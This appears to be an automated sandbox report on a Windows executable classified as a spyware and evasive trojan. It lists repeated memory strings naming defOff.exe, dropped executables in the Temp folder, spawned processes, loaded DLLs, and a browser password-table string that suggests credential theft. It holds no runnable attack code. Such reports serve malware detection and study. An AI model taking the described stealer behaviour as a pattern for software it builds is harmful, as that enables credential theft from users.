Source: 0HdDuWzp54.exe, 00000000.00000003.1995661543.0000000006053000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985187070.00000000060FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988860543.0000000006130000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1995485778.000000000628A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983997389.00000000060F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2015822769.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985735929.000000000604D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988125366.0000000006119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990463227.0000000006231000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989500577.000000000620E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989910401.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2004594279.000000000619F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986693162.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1993058093.0000000006270000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1984788777.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1984278456.00000000060EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1994802081.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986182740.000000000604E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987081522.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1992646727.0000000006050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987463447.0000000006119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985945934.0000000006102000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1994302179.000000000616E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989347962.0000000006126000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987978660.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986950650.00000000061E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990184848.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987837789.00000000061F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1997748907.0000000006180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1982934051.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1994077005.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2001720100.0000000006180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983775233.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986066245.00000000061C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988270802.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983881559.0000000006048000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983672812.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1995272952.0000000006167000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2003244571.000000000618D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983036407.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985046379.000000000604C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2004776611.000000000604D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983136966.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1993222289.0000000006055000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2002389702.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987212199.0000000006125000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2016061157.000000000146F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990761161.000000000614B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1996475098.000000000617D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1993552926.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991201527.000000000614C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989663286.0000000006055000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983354440.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2004071871.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2002776347.000000000618C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987597424.000000000604F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985446231.0000000006052000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991947327.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2003616610.000000000618A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988996834.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1992108390.0000000006257000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1984388717.000000000618F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1987726135.000000000611B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991055724.000000000604C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990611412.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2002966785.000000000604E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2003803626.00000000062D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1993787945.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1995094381.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1991381175.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1993390562.0000000006169000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2004416588.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988569613.000000000612D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1990041067.0000000006144000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1983240724.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985314061.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1986824708.0000000006114000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1984909425.00000000060FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1992898674.000000000615B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2004239980.00000000061A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2015895485.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989117464.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1988423858.0000000006051000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1985599387.0000000006103000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1994564885.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1989771112.0000000006138000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.2017212296.0000000006312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1984135381.000000000604C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe
Source: 0HdDuWzp54.exe, 00000000.00000003.1992436540.0000000006159000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0HdDuWzp54.exe

Source: 0HdDuWzp54.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0HdDuWzp54.exe	Static PE information: Section: ZLIB complexity 0.9973311750856164
Source: 0HdDuWzp54.exe	Static PE information: Section: vmrkkoie ZLIB complexity 0.9948252675641408

Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NCU1LYX00CJA4N4Z4DG.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

File created: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0HdDuWzp54.exe, 00000000.00000003.1782208739.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1781343223.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0HdDuWzp54.exe	Virustotal: Detection: 57%
Source: 0HdDuWzp54.exe	ReversingLabs: Detection: 60%

Source: NCU1LYX00CJA4N4Z4DG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: NCU1LYX00CJA4N4Z4DG.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

File read: C:\Users\user\Desktop\0HdDuWzp54.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0HdDuWzp54.exe "C:\Users\user\Desktop\0HdDuWzp54.exe"
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process created: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe "C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe"
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process created: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe "C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe"
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process created: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe "C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process created: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe "C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe"	Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe

